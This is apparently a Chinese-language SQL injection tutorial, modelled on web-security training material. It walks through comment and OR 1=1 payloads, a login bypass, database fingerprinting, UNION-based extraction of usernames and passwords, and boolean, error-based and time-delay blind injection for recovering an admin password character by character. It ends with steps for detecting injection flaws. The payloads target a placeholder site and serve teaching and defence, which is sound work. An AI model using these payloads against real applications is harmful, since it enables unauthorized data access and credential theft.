SQL注入是一种Web安全漏洞,允许攻击者干扰应用程序对其数据库的查询。攻击者能够通过注入SQL获取到一些通常情况下无法获取的敏感数据例如其他用户的数据。大多数场景中,攻击者可以修改或者删除这些敏感数据而导致应用产生其他异常。在某些情况下,攻击者可以升级SQL注入攻击,以损害基础服务器或其他后端基础架构,或执行拒绝服务攻击。

image-20220614204121312

获取隐藏数据

假设一个查询链接如下:

1
curl https://insecure-website.com/products?category=Gifts

而这个查询对应的后端查表语句为:

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

正常情况下只能返回released = 1的数据。通过released参数,开发者本想隐藏一些其他数据例如released = 1的数据。如果开发者没有进行sql注入防护,则可以将请求修改为:

1
curl https://insecure-website.com/products?category=Gifts'--

则后端查询语句就会变为:

1
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

此时后面的and条件就被--注释掉了,而真正执行的查询语句为:

1
SELECT * FROM products WHERE category = 'Gifts'

此时就返回了所有的数据。

假设将查询请求修改为

1
curl https://insecure-website.com/products?category=Gifts'+OR+1=1--

此时查询就变成了

1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

也就是表里所有的数据都会被查出来。

修改服务查询逻辑

假设一个服务进行登录验证的逻辑为输入用户名和密码,去表里查对应的数据,将其sql写为:

1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

正常情况下,只有username和password同时在一条记录中存在,才能返回对应的值,如果注入这条sql,将sql修改为

1
SELECT * FROM users WHERE username = 'wiener'--' AND password = 'bluecheese'

则如果表中存在username为wiener的数据,则必定会返回,此时登录验证就会失效,这个是普通用户,假设注入的用户为root用户呢,这样的话整个系统就会非常危险!

获取数据库相关信息

进行注入的时候,一般需要获取数据库相关信息,包括:db版本、表、列。

1. 获取数据库类别和版本

不同数据库有不同的返回版本的方法:

  • Microsoft,MySQL:SELECT @@version
  • Oracle:SELECT * FROM v$version
  • PostgreSQL:SELECT version()

MySQL返回值为:

image-20220614105519549

2. 获取数据库信息

大多数数据库可以通过查询information_schema获取数据库相关信息,例如MySQL中,information_schema.tables和information_schema.columns的表结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
CREATE TEMPORARY TABLE `TABLES` (
  `TABLE_CATALOG` varchar(512) NOT NULL DEFAULT '',
  `TABLE_SCHEMA` varchar(64) NOT NULL DEFAULT '',
  `TABLE_NAME` varchar(64) NOT NULL DEFAULT '',
  `TABLE_TYPE` varchar(64) NOT NULL DEFAULT '',
  `ENGINE` varchar(64) DEFAULT NULL,
  `VERSION` bigint(21) unsigned DEFAULT NULL,
  `ROW_FORMAT` varchar(10) DEFAULT NULL,
  `TABLE_ROWS` bigint(21) unsigned DEFAULT NULL,
  `AVG_ROW_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `DATA_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `MAX_DATA_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `INDEX_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `DATA_FREE` bigint(21) unsigned DEFAULT NULL,
  `AUTO_INCREMENT` bigint(21) unsigned DEFAULT NULL,
  `CREATE_TIME` datetime DEFAULT NULL,
  `UPDATE_TIME` datetime DEFAULT NULL,
  `CHECK_TIME` datetime DEFAULT NULL,
  `TABLE_COLLATION` varchar(32) DEFAULT NULL,
  `CHECKSUM` bigint(21) unsigned DEFAULT NULL,
  `CREATE_OPTIONS` varchar(255) DEFAULT NULL,
  `TABLE_COMMENT` varchar(2048) NOT NULL DEFAULT ''
) ENGINE=MEMORY DEFAULT CHARSET=utf8

CREATE TEMPORARY TABLE `COLUMNS` (
  `TABLE_CATALOG` varchar(512) NOT NULL DEFAULT '',
  `TABLE_SCHEMA` varchar(64) NOT NULL DEFAULT '',
  `TABLE_NAME` varchar(64) NOT NULL DEFAULT '',
  `COLUMN_NAME` varchar(64) NOT NULL DEFAULT '',
  `ORDINAL_POSITION` bigint(21) unsigned NOT NULL DEFAULT '0',
  `COLUMN_DEFAULT` longtext,
  `IS_NULLABLE` varchar(3) NOT NULL DEFAULT '',
  `DATA_TYPE` varchar(64) NOT NULL DEFAULT '',
  `CHARACTER_MAXIMUM_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `CHARACTER_OCTET_LENGTH` bigint(21) unsigned DEFAULT NULL,
  `NUMERIC_PRECISION` bigint(21) unsigned DEFAULT NULL,
  `NUMERIC_SCALE` bigint(21) unsigned DEFAULT NULL,
  `DATETIME_PRECISION` bigint(21) unsigned DEFAULT NULL,
  `CHARACTER_SET_NAME` varchar(32) DEFAULT NULL,
  `COLLATION_NAME` varchar(32) DEFAULT NULL,
  `COLUMN_TYPE` longtext NOT NULL,
  `COLUMN_KEY` varchar(3) NOT NULL DEFAULT '',
  `EXTRA` varchar(30) NOT NULL DEFAULT '',
  `PRIVILEGES` varchar(80) NOT NULL DEFAULT '',
  `COLUMN_COMMENT` varchar(1024) NOT NULL DEFAULT '',
  `GENERATION_EXPRESSION` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8

通过查询上述两个表就可以获取db和table的信息。

Union注入

当服务存在SQL注入漏洞,且查询的值包含在服务的返回值中时,通过使用UNION就可以从db中的其他tables中读取数据。这种注入被称为UNION注入。

UNION可以执行额外的select语句并将其查询结果合并到原有的sql中:

1
SELECT a, b FROM table1 UNION SELECT c, d FROM table2

上面的SQL的查询结果包括两列,值来自table1中的a、b以及table2中的c、d。

为了保证union查询能够正常运行,需要满足两个核心条件:

  • 独立查询需要包含相同数量的列;
  • 每个对应列的数据类型需要相同;

为了能够进行UNION注入,需要判断注入是否满足以下两个条件:

  • 原始查询中返回了多少个列;
  • 哪些列的原始数据类型符合注入的数据类型;

1. 确定返回列的数量

存在两种方法可以确定返回列的数量。

第一种为注入order,通过增加排序的列的index来确定列的数量:

1
2
3
select * from tables where app="a" order by 1 --
select * from tables where app="a" order by 2 --
select * from tables where app="a" order by 3 --

当index超过实际的列的数量时,数据库会返回错误

1
ERROR 1054 (42S22): Unknown column '5' in 'order clause'

当然实际服务的返回值不会这么直接,一般服务会返回一些error或者空值,通过判断返回值之间的差异性来确定列的数量。

第二种方法为通过UNION注入NULL列来判断列的数量

1
select * from tables where app="a" union select NULL,NULL,NULL--

如果返回的错误为:

1
ERROR 1222 (21000): The used SELECT statements have a different number of columns

则说明与NULL的数量不一致。如果正常的返回结果,则说明列的数量与NULL的数量是一致的。

  • 由于union查询需要满足列的数据类型要求,而NULL能够满足这个要求。
  • 在Orcale中,每个select必须要指定一个table,所以Oracle的数据库可以使用UNION select null from DUAL--

2. 查询列的数据类型

为了能够是的注入的SQL返回必要的结果,需要选择一个合适的列的数据类型,一般使用string类型的列,所以需要找到表中是string类型的列。

如果按照步骤1中的方法正确的获取了列的数量,则可以针对性的获取每一列的数据类型是否是string。

1
2
3
4
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

如果数据类型不是string,则会返回

1
Conversion failed when converting the varchar value 'a' to data type int.

注意:如果表为空,这种方法是不生效的。

3. 使用UNION注入获取数据

通过上述的方法获取到列的数量和那些列能够返回string类型的数据,可以进一步通过UNION获取一些敏感数据。

假设:

  • 原始sql返回两列
  • 注入点位于where中
  • db中存在users的表

这种情况下,就可以使用如下注入:

1
UNION SELECT username, password FROM users--

SQL盲注

当服务有sql注入风险,但是其返回值不包括相关的sql查询结果或数据库异常,此时UNION注入就不会起作用,就需要还有sql盲注。

1. 通过触发条件返回值来进行盲注

假设以一个服务通过Cookie中的TrackingID字段来追踪用户行为,每次请求的Header中都会包含如下参数:

1
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

此时服务端可能会通过如下sql判断用户是否是有效查询:

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

这个sql是存在注入风险的,但是这个查询的结果不会包含在返回值中。但是服务会因为查询结果的差异而表现出不同的返回特性。如果TrackingID是有效的,则会正常返回结果。如果TrackingID无效,则不会返回结果。通过这种不同的触发条件获取的返回值就可以进行SQL盲注。

例如

1
2
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and '1'='1'
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and '1'='2'

第一个注入会正常返回,第二个注入会异常返回,通过这种差异性,我们就可以使用SQL盲注获取数据库的一些关键信息。

假设此时数据库中存在一个用户表users,里面包含了admin的用户名和密码,我们需要通过这个盲注来获取admin的密码。因此可以通过如下注入来获取相关信息。

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM users WHERE username = 'admin'), 1, 1) > 'm'

如果正常返回了,说明admin的密码的第一位是大于m的,按照这种思路,继续进行注入:

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM users WHERE username = 'admin'), 1, 1) < 't'

如果这条注入没有正常返回,则说明admin的密码的第一位是小于t的。通过不断尝试,即可获得数据库存储的相关用户的密码。

2. 通过触发sql错误来诱导条件响应

如果应用程序执行相同的sql查询但是其返回值均相同,则前述的通过触发条件拿到的不同的返回值来进行sql盲注就不会生效了。这种情况下可以尝试通过触发sql查询错误来获取不同的返回值。例如:

1
2
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'

上述查询第一条会正常返回,第二条会返回一个除0错误,这样就会导致查询sql异常而导致服务返回一些错误信息。

通过上述方法,如果想要获取users表的密码,就可以注入查询为:

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (Username = 'admin' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM users)='a'

3. 通过触发时间延迟来进行sql盲注

假设服务很好的处理了sql查询错误,返回这也不会存在什么差异,则上述两种方法都不会起作用了,这时可以通过注入查询延迟来进行sql注入。

一般来说,一个http请求中,sql查询是同步的,如果查询的时间长,则http的返回时间也会变长。此时可以通过注入时间延迟来获取相关信息:

1
2
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (1=2) WAITFOR DELAY '0:0:10'--
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (1=1) WAITFOR DELAY '0:0:10'--

第一个sql不会有时间延迟,而第二个查询会存在10s的时间延迟。所以如果需要获取users表的密码,则可以通过如下注入:

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'admin' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

如何发现sql注入风险

  1. 提交只包含'的查询,观察返回结果是否包含错误或其他异常;
  2. 提交一个sql作为参数进行查询,并修改,观察返回结果的差异性;
  3. 提交布尔型条件例如or 1=1or 1=2,返回结果是否存在差异性;
  4. 注入时间延迟查询,返回结果是否存在差异;